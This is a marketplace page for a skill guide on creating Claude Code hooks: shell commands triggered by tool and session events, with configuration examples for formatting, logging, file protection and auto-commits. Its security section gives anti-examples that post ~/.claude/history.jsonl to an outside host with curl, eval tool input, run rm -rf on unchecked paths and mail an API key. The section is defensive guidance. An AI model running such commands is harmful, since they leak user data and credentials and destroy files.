skills/create-hooks/SKILL.md
Guide for creating Claude Code hooks with proper configuration, shell commands, event handling, and security practices. Use when the user wants to create hooks, automate workflows, add event handlers, format code automatically, protect files, log actions, or mentions creating/configuring/building hooks.
npx skillsauth add ronnycoding/.claude create-hooksInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill helps you create Claude Code hooks - user-defined shell commands that execute at specific points in Claude Code's lifecycle. Hooks provide deterministic control over behavior rather than relying on LLM decisions.
When creating a new hook, follow this workflow:
* for all)?~/.claude/settings.jsonClaude Code supports nine hook events:
When: Before tool calls execute Can block: Yes (exit code 2) Use for:
When: After tool calls complete Can block: No Use for:
When: User submits prompts, before processing Can block: Yes Use for:
When: Claude Code sends notifications Can block: No Use for:
When: Claude Code finishes responding Can block: No Use for:
When: Subagent tasks complete Can block: No Use for:
When: Before compact operations Can block: Yes Use for:
When: Session initiation or resumption Can block: No Use for:
When: Session termination Can block: No Use for:
Hooks are configured in ~/.claude/settings.json:
{
"hooks": {
"EventName": [
{
"matcher": "ToolName or *",
"hooks": [
{
"type": "command",
"command": "shell_command_here"
}
]
}
]
}
}
EventName: One of the nine hook events (e.g., PreToolUse, PostToolUse)
matcher:
"Edit", "Bash", "Write")"*" for all toolstype: Always "command" for shell hooks
command: Shell command to execute (bash on Unix, cmd on Windows)
Commands receive JSON input via stdin containing event data:
{
"description": "Human-readable description",
"tool_name": "Name of tool being used",
"tool_input": { /* Tool-specific parameters */ }
}
Edit tool:
{
"tool_name": "Edit",
"description": "Update user authentication",
"tool_input": {
"file_path": "/path/to/file.js",
"old_string": "...",
"new_string": "..."
}
}
Bash tool:
{
"tool_name": "Bash",
"description": "Run tests",
"tool_input": {
"command": "npm test"
}
}
Write tool:
{
"tool_name": "Write",
"description": "Create new component",
"tool_input": {
"file_path": "/path/to/file.ts",
"content": "..."
}
}
Use jq for parsing JSON in shell commands:
# Extract file path
jq -r '.tool_input.file_path'
# Extract command
jq -r '.tool_input.command'
# Extract description with fallback
jq -r '.description // "No description"'
# Conditional processing
jq -r 'if .tool_input.file_path then .tool_input.file_path else empty end'
Exit code 0: Success
Exit code 2: Block execution (PreToolUse only)
Other exit codes: Treated as errors but don't block execution
Event: PostToolUse Purpose: Run Prettier after editing JS/TS files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]] || [[ $FILE == *.tsx ]] || [[ $FILE == *.jsx ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
]
}
}
Event: PreToolUse Purpose: Track all bash commands for auditing
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) - $(jq -r '.tool_input.command') - $(jq -r '.description // \"No description\"')\" >> ~/.claude/bash-command-log.txt"
}
]
}
]
}
}
Event: PreToolUse Purpose: Block edits to production config files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
},
{
"matcher": "Write",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit 2; fi"
}
]
}
]
}
}
Event: Notification Purpose: Show desktop alerts when Claude needs input
{
"hooks": {
"Notification": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "osascript -e 'display notification \"Claude Code needs your attention\" with title \"Claude Code\"'"
}
]
}
]
}
}
Event: PostToolUse Purpose: Automatically run tests after editing test files
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".test.\"* ]] || [[ $FILE == *\".spec.\"* ]]; then echo \"Running tests for $FILE...\"; npm test -- \"$FILE\" 2>/dev/null || true; fi"
}
]
}
]
}
}
Event: PostToolUse Purpose: Create automatic commits after file modifications
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); DESC=$(jq -r '.description // \"Auto-commit\"'); git add \"$FILE\" && git commit -m \"Auto: $DESC\" 2>/dev/null || true"
}
]
}
]
}
}
Event: PreToolUse Purpose: Create backups before editing important files
{
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\"src/\"* ]]; then cp \"$FILE\" \"$FILE.backup.$(date +%s)\" 2>/dev/null || true; fi"
}
]
}
]
}
}
Event: PostToolUse Purpose: Format multiple languages automatically
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); case $FILE in *.py) black \"$FILE\" 2>/dev/null;; *.go) gofmt -w \"$FILE\" 2>/dev/null;; *.rs) rustfmt \"$FILE\" 2>/dev/null;; *.java) google-java-format -i \"$FILE\" 2>/dev/null;; esac || true"
}
]
}
]
}
}
Event: SessionStart and SessionEnd Purpose: Track session duration and activity
{
"hooks": {
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
],
"SessionEnd": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session ended at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
Event: PostToolUse Purpose: Complex processing with Python
settings.json:
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/format-hook.py"
}
]
}
]
}
}
~/.claude/hooks/format-hook.py:
#!/usr/bin/env python3
import json
import sys
import subprocess
from pathlib import Path
# Read hook data from stdin
hook_data = json.load(sys.stdin)
file_path = hook_data.get('tool_input', {}).get('file_path')
if not file_path:
sys.exit(0)
file_path = Path(file_path)
# Format based on extension
if file_path.suffix in ['.py']:
subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL)
subprocess.run(['isort', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.js', '.ts', '.jsx', '.tsx']:
subprocess.run(['prettier', '--write', str(file_path)], stderr=subprocess.DEVNULL)
elif file_path.suffix in ['.go']:
subprocess.run(['gofmt', '-w', str(file_path)], stderr=subprocess.DEVNULL)
sys.exit(0)
CRITICAL WARNING: Hooks run automatically during the agent loop with your current environment's credentials. Malicious hooks could:
# DON'T: Send data to external services without encryption
curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
# DON'T: Execute arbitrary code from file contents
eval "$(jq -r '.tool_input.command')"
# DON'T: Modify files without validation
rm -rf "$(jq -r '.tool_input.file_path')"
# DON'T: Expose credentials in commands
echo "API_KEY=secret" | mail -s "Log" [email protected]
# DO: Validate before processing
FILE=$(jq -r '.tool_input.file_path'); [[ -f "$FILE" ]] && prettier "$FILE"
# DO: Use allowlists for protection
if [[ $FILE == "/app/src/"* ]]; then prettier "$FILE"; fi
# DO: Log locally with rotation
echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) - $DESC" >> ~/.claude/hook.log
# DO: Use exit code 2 to block unsafe operations
if [[ $FILE == *".env"* ]]; then exit 2; fi
Before adding to settings.json, test your command:
# Create test JSON input
echo '{"tool_input": {"file_path": "test.js"}, "description": "Test"}' | \
jq -r '.tool_input.file_path'
# Create test file
cat > /tmp/test-hook-input.json <<EOF
{
"tool_name": "Edit",
"description": "Update authentication",
"tool_input": {
"file_path": "/path/to/test.js",
"old_string": "old",
"new_string": "new"
}
}
EOF
# Test your command
cat /tmp/test-hook-input.json | your_hook_command_here
# Test success (exit 0)
echo '{}' | your_command && echo "Success: $?"
# Test blocking (exit 2)
echo '{"tool_input":{"file_path":".env"}}' | your_command; echo "Exit code: $?"
~/.claude/bash-command-log.txt or similarHook not executing:
Hook blocking when it shouldn't:
Hook failing silently:
Add verbose logging:
"command": "echo \"[HOOK] Processing: $(jq -r '.description')\" >> /tmp/hook-debug.log; your_actual_command"
Capture errors:
"command": "your_command 2>> ~/.claude/hook-errors.log"
Echo hook data:
"command": "jq '.' >> /tmp/hook-data-dump.json; your_actual_command"
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]]; then prettier --write \"$FILE\" && eslint --fix \"$FILE\"; fi"
}
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "echo \"First hook\" >> /tmp/hooks.log"
},
{
"type": "command",
"command": "echo \"Second hook\" >> /tmp/hooks.log"
}
]
}
# Different behavior based on time of day
HOUR=$(date +%H); if [ $HOUR -ge 9 ] && [ $HOUR -le 17 ]; then run_business_hours_hook; else run_after_hours_hook; fi
# Only run in development
if [[ $NODE_ENV == "development" ]]; then npm test; fi
{
"enabledPlugins": {
"example-skills@anthropic-agent-skills": true
},
"alwaysThinkingEnabled": false,
"hooks": {
"PreToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]]; then exit 2; fi"
}
]
}
],
"PostToolUse": [
{
"matcher": "Edit",
"hooks": [
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *.ts ]] || [[ $FILE == *.js ]]; then npx prettier --write \"$FILE\" 2>/dev/null; fi"
}
]
}
],
"SessionStart": [
{
"matcher": "*",
"hooks": [
{
"type": "command",
"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
}
]
}
]
}
}
Recommended structure:
~/.claude/
├── settings.json
├── hooks/
│ ├── format-python.sh
│ ├── format-js.sh
│ ├── protect-files.sh
│ └── notify.sh
└── logs/
├── hook-execution.log
└── hook-errors.log
Reference scripts in settings.json:
{
"type": "command",
"command": "~/.claude/hooks/format-python.sh"
}
When creating a hook:
* when possible)jq correctlyWhen user asks to create a hook:
jq for reliable data extraction* when you can target specific toolsRemember: Hooks run automatically with your environment's credentials. Always review security implications before adding hooks to settings.json.
development
Expert guide for WebGL API development including 3D graphics, shaders (GLSL), rendering pipeline, textures, buffers, performance optimization, and canvas rendering. Use when working with WebGL, 3D graphics, canvas rendering, shaders, GPU programming, or when user mentions WebGL, OpenGL ES, GLSL, vertex shaders, fragment shaders, texture mapping, or 3D web graphics.
tools
Guide for using the Sentry CLI to interact with Sentry from the command line. Use when the user asks about viewing issues, events, projects, organizations, making API calls, or authenticating with Sentry via CLI.
development
Guide for performing secure web searches with privacy protection, source verification, and information validation. Use when the user wants to search the web securely, verify sources, fact-check information, or mentions secure search, privacy, source validation, or web research.
development
Drive the OpenWA WhatsApp HTTP API from the terminal with curl. Use when sending WhatsApp messages (text/image/video/audio/document/location/contact/bulk), managing sessions and QR login, listing contacts/groups/chats, registering webhooks, or managing scoped API keys against an OpenWA server. Triggers on "OpenWA", "penwa", "send WhatsApp via API", "WhatsApp session", or mentions of base URL http://0.0.0.0:2785.